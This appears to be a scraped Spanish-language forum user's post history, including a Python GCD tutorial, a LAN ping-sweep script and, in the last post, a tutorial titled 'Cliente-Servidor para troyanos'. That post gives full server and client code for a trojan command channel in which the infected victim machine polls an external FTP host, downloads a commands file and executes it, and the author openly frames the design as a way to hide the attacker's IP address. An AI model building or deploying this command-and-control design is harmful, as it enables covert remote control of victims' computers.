super interesante amigo!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Páginas1
#2
Seguridad / Re:Seguridad Informática – USERS
Agosto 13, 2018, 08:48:32 PM
Buen aporte,. Lo leo y te cuento que me pareció ! Saludos
#3
Python / Re:Como ver quien está usando nuestro Wi-Fi (con python)
Abril 02, 2018, 10:54:29 AMNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
En la cuarta parte de la explicación del código, en la segunda línea aparece un método del objeto subproccess que se llama .call(), veo que tiene dos parámetros, un array y creo que una variable llamda stdout. No entiendo muy bien ambos parámetros, tampoco entiendo que es lo que contiene el array. Yo cada vez que hago un ping lo hago de la siguiente manera, lógicamente dependiendo de :Código: bash ping laip
y listo.
Buenas, el primer parametro de .call() indica los comandos que le paso a la consola, y en el segundo parametro (luego del stdout) indico la variable a la cual le asigno la respuesta de la consola. Saludos
#4
Python / Re:[Script] Generador de Passwords
Marzo 07, 2018, 03:02:53 PM
Interesante script !! Podrías darle la opción al usuario de elegir los caracteres con los que se va a crear la contraseña

#5
Dudas y pedidos generales / CONSULTA : que hacer con un modem viejo?
Febrero 08, 2018, 11:18:12 PM
Buenas noches, encontré en mi casa un modem de 5p3ddy que no lo vinieron a buscar cuando me lo cambiaron. Aburrido lo abri, y vi que tiene dos antenas Airgain n2420. Queria saber si les puedo dar algun uso, tanto al modem como a las antenas.
Saludos!
Saludos!
#6
Python / Algoritmo de Euclides
Enero 31, 2018, 12:25:59 AM
Hace mucho tiempo , estaba sentado Euclides abajo de un árbol, cuando de repente le cayó una manzana en la cabeza... No, esa es la historia de otro.
Euclides fue un matemático y geómetra griego. Gracias al "Algoritmo De Euclides" podemos calcular el máximo común divisor de dos números de manera exacta y sin perder mucho tiempo( algo realmente útil en nuestra vida cotidiana...).
El algoritmo es sencillo, por medio de reiteradas divisiones enteras damos con el numero que buscamos( para más información de cómo se realiza : No tienes permitido ver enlaces. Registrate o Entra a tu cuenta)
Si si, ya se que no es lo más divertido para hacer un tema, pero estoy estudiando para la facultad y justo salió esto. Lo que quiero mostrar es el uso de funciones que retornan valores, no se enojen con Euclides xd
CÓDIGO COMPLETO:
Código: text

CÓDIGO EXPLICADO:
Código: text
La primer parte es normal, ingresamos dos valores ( el primero es el mayor, y el segundo el menor) y los mandamos a la función restoDe/2, pero acá está lo lindo: estamos guardando los valores de retorno en una tupla ( no necesariamente tiene que ser puesta con paréntesis), porque son dos los valores que devuelve la función restoDe/2
Código: text
¿Ves el return al final de la función? Bueno, con eso devolvemos un valor (o los valores que queramos) cuando llamamos a la función. Muy distinto a poner un print, ya que con eso imprimimos un mensaje en la pantalla pero no lo podemos seguir usando.Cuando usamos return no vamos a ver el resultado (a menos que lo llamemos con un print), pero si lo podemos pasar a otra función
Euclides fue un matemático y geómetra griego. Gracias al "Algoritmo De Euclides" podemos calcular el máximo común divisor de dos números de manera exacta y sin perder mucho tiempo( algo realmente útil en nuestra vida cotidiana...).
El algoritmo es sencillo, por medio de reiteradas divisiones enteras damos con el numero que buscamos( para más información de cómo se realiza : No tienes permitido ver enlaces. Registrate o Entra a tu cuenta)
Si si, ya se que no es lo más divertido para hacer un tema, pero estoy estudiando para la facultad y justo salió esto. Lo que quiero mostrar es el uso de funciones que retornan valores, no se enojen con Euclides xd
CÓDIGO COMPLETO:
print "Algoritmo De Euclides"
print "Maximo Comun Divisor (MCD)"
print "--------------------------"
def main():
mayor = input("Numero mayor >> ")
menor = input("Numero menor >> ")
resto,anterior = restoDe(mayor,menor)
while resto != 0:
resto, anterior = restoDe(anterior,resto)
print "El m.c.d("+str(mayor)+","+str(menor)+") = "+str(anterior)
def restoDe(dividendo,divisor):
resto = dividendo%divisor
anterior = divisor
return resto,anterior
main()

CÓDIGO EXPLICADO:
def main():
mayor = input("Numero mayor >> ")
menor = input("Numero menor >> ")
resto,anterior = restoDe(mayor,menor)
La primer parte es normal, ingresamos dos valores ( el primero es el mayor, y el segundo el menor) y los mandamos a la función restoDe/2, pero acá está lo lindo: estamos guardando los valores de retorno en una tupla ( no necesariamente tiene que ser puesta con paréntesis), porque son dos los valores que devuelve la función restoDe/2
def restoDe(dividendo,divisor):
resto = dividendo%divisor
anterior = divisor
[b]return[/b] resto,anterior
¿Ves el return al final de la función? Bueno, con eso devolvemos un valor (o los valores que queramos) cuando llamamos a la función. Muy distinto a poner un print, ya que con eso imprimimos un mensaje en la pantalla pero no lo podemos seguir usando.Cuando usamos return no vamos a ver el resultado (a menos que lo llamemos con un print), pero si lo podemos pasar a otra función
#7
Python / Re:Como ver quien está usando nuestro Wi-Fi (con python)
Enero 29, 2018, 07:44:04 PMNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Genial bro! Tendrás screenshots con los resultados?
Saludos,
ANTRAX
Amigo estaba de viaje sin la pc, ahora subo unos screenshot

#8
Python / Como ver quien está usando nuestro Wi-Fi (con python)
Enero 07, 2018, 10:33:44 PM
Buenas tardes , ayer me estaba funcionando muy lento internet así que decidí ver que dispositivos estaban conectados. Tenía el Netmap descargado pero no lo encontraba , asi que armé mi propio script en python 
PLOT TWIST: no había ningún intruso conectado a mi Wi-Fi, es lento porque es mas malo que la realidad xd
Código Completo:
Código: text
CODIGO EXPLICADO:
1)Importamos librerias:
Código: text
os nos va a servir para enviar un ping a una dirección de ip
subprocess nos sirve para ejecutar un comando en la consola, y atrapar su respuesta para poder analizarla
2)Ahora tenemos que guardar la ip privada de nuestro equipo, para que se pueda evaluar la respuesta que produce el ping (en la consola de comandos(cmd) la encontramos con el comando ipconfig)
Código: text
3) Con un bucle for vamos a recorrer desde la direccion 192.168.1.0 a la 192.168.1.256
Código: text
4) Miren esta porción de código
Código: text
Acá abrimos un archivo para guardar la respuesta del ping que le vamos a hacer a la direccion de ip con No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Luego vamos a leer el archivo, pero la linea que nos interesa es la numero 2, porque la vamos a comparar con la respuesta que dan los host activos y los inactivos
4) Veamos que "wrong" es la respuesta que recibimos cuando un host esta inactivo, entonces la comparamos con "estado", y si está activo el host, nos lo muestra en pantalla y lo guarda en un archivo de texto (nos puede servir para controlar cuantos dispositivos están conectados en distintos momentos del dia, etc)
Código: text
Esta es una imagen con los resultados del scaneo:

Código Completo:
import os,subprocess
def main():
miDireccion = raw_input("ip privada>> ")
for p in range(0,256):
ip = '192.168.1.'+str(p)
saver = open('temp.txt','w')
subprocess.call(['ping','-n','1',ip],stdout=saver)
saver.close()
leerSaver = open('temp.txt','r')
linea = leerSaver.readlines()
estado = linea[2]
wrong = "Reply from "+ miDireccion +": Destination host unreachable.\n"
if estado == wrong:
pass
else:
data = "[+] El host " + ip + " se encuentra activo.\n"
dataSaver = open('hostActivos.txt','a')
dataSaver.write(data)
dataSaver.close()
print data
main()
CODIGO EXPLICADO:
1)Importamos librerias:
import os,subprocess
os nos va a servir para enviar un ping a una dirección de ip
subprocess nos sirve para ejecutar un comando en la consola, y atrapar su respuesta para poder analizarla
2)Ahora tenemos que guardar la ip privada de nuestro equipo, para que se pueda evaluar la respuesta que produce el ping (en la consola de comandos(cmd) la encontramos con el comando ipconfig)
miDireccion = raw_input("direccion: ")
3) Con un bucle for vamos a recorrer desde la direccion 192.168.1.0 a la 192.168.1.256
for p in range(0,256):
ip = '192.168.1.'+str(p)
4) Miren esta porción de código
saver = open('temp.txt','w')
subprocess.call(['ping','-n','1',ip],stdout=saver)
saver.close()
leerSaver = open('temp.txt','r')
linea = leerSaver.readlines()
estado = linea[2]
Acá abrimos un archivo para guardar la respuesta del ping que le vamos a hacer a la direccion de ip con No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Luego vamos a leer el archivo, pero la linea que nos interesa es la numero 2, porque la vamos a comparar con la respuesta que dan los host activos y los inactivos
4) Veamos que "wrong" es la respuesta que recibimos cuando un host esta inactivo, entonces la comparamos con "estado", y si está activo el host, nos lo muestra en pantalla y lo guarda en un archivo de texto (nos puede servir para controlar cuantos dispositivos están conectados en distintos momentos del dia, etc)
wrong = "Reply from "+ miDireccion +": Destination host unreachable.\n"
if estado == wrong:
pass
else:
data = "[+] El host " + ip + " se encuentra activo.\n"
dataSaver = open('hostActivos.txt','a')
dataSaver.write(data)
dataSaver.close()
print data
Esta es una imagen con los resultados del scaneo:

#9
Python / Cliente-Servidor para troyanos
Diciembre 15, 2017, 03:51:53 PM
Buenos días, tardes o noches. Primer aporte , espero que lo encuentren útil/interesante/mágico(?
Introducción:
Erase una vez, en una galaxia muy muy lejana... Digo, usualmente cuando queremos crear un troyano en Python y necesitamos una manera de comunicarnos con el dispositivo infectado, usamos sockets para armar una comunicación de tipo cliente-servidor. Esto es muy útil para enviar comandos, recibir datos, etc , etc. Si el cliente se conecta a nuestro servidor, no es difícil que monitoree el trafico de la red y que nuestra dirección lo salude coordialmente. ¿Hay manera de evitar que nuestra dirección sea taaan fácilmente descubierta? Claro! Pero no es la idea de este post
Porque no es el único problema que tiene este tipo de cliente-servidor. Otro ejemplo ( al final voy a listar todos los pro y los contras, así la introducción no se me hace mas larga que la de El Silmarillion) es que es necesario abrir puertos para que nuestro servidor reciba la conexión, y por mas que no sea difícil, hay varias compañías de internet ( *lease f1b3rt3l) que no les gusta que andemos merodeando por el panel de control del modem/router.
Si estás leyendo esto es porque no te quedaste dormido con labreve introducción, genial!
Resulta que hay una forma de evitar estos pequeños y odiosos inconvenientes ya mencionados

Vamos a usar a nuestro querido FTP (si, volvió en forma de fichas!)
La idea que es que el cliente infectado por nuestro malévolo troyano se conecte directamente a un servidor FTP aislado de nosotros, descargue un pequeño archivo con instrucciones (
), y las ejecute. Por nuestra parte, nosotros también nos vamos a conectar a ese servidor, pero solo para cargarle el pequeño archivo con las instrucciones.

Así evitamos que nuestra dirección de IP esté totalmente al descubierto, no tenemos que abrir ningún puerto ( porque entendemos que eso le molesta a nuestros amigos proveedores de internet
), podemos conectarnos desde cualquier lugar remoto,solo teniendo nuestro servidor ( o subiendo desde otro lado las instrucciones, pero le quitamos la magia ), y un largo etc.
Manos a la obra entonces!
1) El primer paso es tener un servidor FTP:
Si ya tenes uno , este paso saltealo, de no ser así , acá está el que uso yo y recomiendo : No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Este post no se trata de como usar un servidor FTP, asi que te dejo que averigües solo ( No tienes permitido ver enlaces. Registrate o Entra a tu cuenta ) todo sobre esta pagina, cualquier cosa MD
2) Vamos a crear nuestro querido servidor ( que se conecta al servidor FTP):
Importamos la librería que vamos a usar
Código: text
Creamos la función main con los datos de nuestro servidor FTP:
Código: text
Creamos la función conexión,que va a recibir tres parámetros : la dirección del FTP, el usuario y la contraseña, y se va a conectar:
Código: text
Ahora la parte donde subimos el comando que queremos que ejecute nuestro clientevictima :
Código: text
Si, está bien, te lo explico ...
Código: text Escribis el comando que queres que ejecute
Código: text
Y lo guardamos en un archivo , que vamos a subirlo con esta linea :
Código: text
Ya tenemos nuestra hermosa puerta para enviar todos los comandos que queremos al servidor!
Bueno,ahora viene la parte del clientevictima,infectado,ex. El código varía poco, porque se tiene que conectar al servidor también, pero solo descarga y ejecuta las instrucciones:
1)Importamos las librerias
Código: text
2) Definimos la función main()
Código: text
SPOILER ALERT: si averiguaste un poco del FTP, tenes que saber que también podes conectarte de forma anónima sin usuario ni contraseña, pero eso te lo dejo a vos
3)Creamos la funcion conectar/3 , que recibe el host, es usuario y la contraseña y se conecta.
Código: text
La siguiente funcion va a descargar el archivo con instrucciones:
Código: text
DondeCódigo: text descarga el archivo "comandos.txt" del servidor
4)Por último leemos el archivo y ejecutamos los comandos . OJO! Acá tenemos un sinfin de posibilidades para armar nuestros propios comandos o acciones a realizar a partir de lo que reciba
Código: text
PD: Solo en forma de ejemplo se hace todo manual, la idea es que este metido dentro de un bucle para que se repita cada cierto tiempo
Acá les dejo todo el código completo, modifiquenlo a su gusto, espero que les haya servido
miServer.py
Código: text
miCliente.py
Código: text
Con objeto de que se entienda mejor, el código está comentado y le saltan alertas para indicar que va todo bien.Claramente, un troyano no va a tener nada de eso
Introducción:
Erase una vez, en una galaxia muy muy lejana... Digo, usualmente cuando queremos crear un troyano en Python y necesitamos una manera de comunicarnos con el dispositivo infectado, usamos sockets para armar una comunicación de tipo cliente-servidor. Esto es muy útil para enviar comandos, recibir datos, etc , etc. Si el cliente se conecta a nuestro servidor, no es difícil que monitoree el trafico de la red y que nuestra dirección lo salude coordialmente. ¿Hay manera de evitar que nuestra dirección sea taaan fácilmente descubierta? Claro! Pero no es la idea de este post

Si estás leyendo esto es porque no te quedaste dormido con la
Resulta que hay una forma de evitar estos pequeños y odiosos inconvenientes ya mencionados


Vamos a usar a nuestro querido FTP (si, volvió en forma de fichas!)
La idea que es que el cliente


Así evitamos que nuestra dirección de IP esté totalmente al descubierto, no tenemos que abrir ningún puerto ( porque entendemos que eso le molesta a nuestros amigos proveedores de internet

Manos a la obra entonces!
1) El primer paso es tener un servidor FTP:
Si ya tenes uno , este paso saltealo, de no ser así , acá está el que uso yo y recomiendo : No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Este post no se trata de como usar un servidor FTP, asi que te dejo que averigües solo ( No tienes permitido ver enlaces. Registrate o Entra a tu cuenta ) todo sobre esta pagina, cualquier cosa MD
2) Vamos a crear nuestro querido servidor ( que se conecta al servidor FTP):
Importamos la librería que vamos a usar
from ftplib import FTP
Creamos la función main con los datos de nuestro servidor FTP:
def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'nombreUsuario'
passwordFTP = 'password'
Creamos la función conexión,que va a recibir tres parámetros : la dirección del FTP, el usuario y la contraseña, y se va a conectar:
def conexion(_dirFTP,_admin,_passw):
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"
Ahora la parte donde subimos el comando que queremos que ejecute nuestro cliente
comando = raw_input ("enviar comando para cliente >> ")
archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
ftp.quit()
Si, está bien, te lo explico ...
comando = raw_input ("enviar comando para cliente >> ")
archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()
Y lo guardamos en un archivo , que vamos a subirlo con esta linea :
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
Ya tenemos nuestra hermosa puerta para enviar todos los comandos que queremos al servidor!
Bueno,ahora viene la parte del cliente
1)Importamos las librerias
from ftplib import FTP
import os
2) Definimos la función main()
def main():
host = 'files.000webhost.com'
usuarioFTP = 'user'
passwordFTP = 'pass'
SPOILER ALERT: si averiguaste un poco del FTP, tenes que saber que también podes conectarte de forma anónima sin usuario ni contraseña, pero eso te lo dejo a vos
3)Creamos la funcion conectar/3 , que recibe el host, es usuario y la contraseña y se conecta.
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
La siguiente funcion va a descargar el archivo con instrucciones:
file = open('comandos.txt','wb')
ftp.retrbinary("RETR comandos.txt",file.write)
Donde
ftp.retrbinary("RETR comandos.txt",file.write)
4)Por último leemos el archivo y ejecutamos los comandos . OJO! Acá tenemos un sinfin de posibilidades para armar nuestros propios comandos o acciones a realizar a partir de lo que reciba
archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA: aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""
PD: Solo en forma de ejemplo se hace todo manual, la idea es que este metido dentro de un bucle para que se repita cada cierto tiempo
Acá les dejo todo el código completo, modifiquenlo a su gusto, espero que les haya servido
miServer.py
from ftplib import FTP
def conexion(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"
comando = raw_input ("enviar comando para cliente >> ")
except Exception,f :
print "[-] No se pudo conectar con el servidor ftp"
archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()
#abrir archivo de texto,borrar su contenido y copiar el comando nuevo
filename = "comandos.txt"
try:
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
print "[+] Comando enviado "
ftp.quit()
#subir el archivo al servidor
except Exception,e:
print "[-] No se pudo enviar el comando :", e
#El cliente tiene la funcion DescargarArchivo, que haremos que cada
# cierto tiempo descargue los comandos
def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'
conexion(host,usuarioFTP,passwordFTP)
main()
miCliente.py
from ftplib import FTP
import os
def conectar(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+]Conectado al servidor"
except Exception,f:
print "[-]Error al conectarse con el servidor"
#incluirlo en una funcion que cada X tiempo cumpla este ciclo
try:
print "[+] Descargando comandos.."
file = open('comandos.txt','wb')
ftp.retrbinary("RETR comandos.txt",file.write)
print "[+] Ejecutando comandos.."
except Exception,e:
print "[-] Error al descargar los comandos ", e
def ejecutarComando(_archivo):
#lee el archivo y ejecuta los comandos
archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA: aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""
archivo.close()
print "[+] Comando ejecutado"
def main():
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'
conectar(host,usuarioFTP,passwordFTP)
ejecutarComando("comandos.txt")
main()
Con objeto de que se entienda mejor, el código está comentado y le saltan alertas para indicar que va todo bien.
Páginas1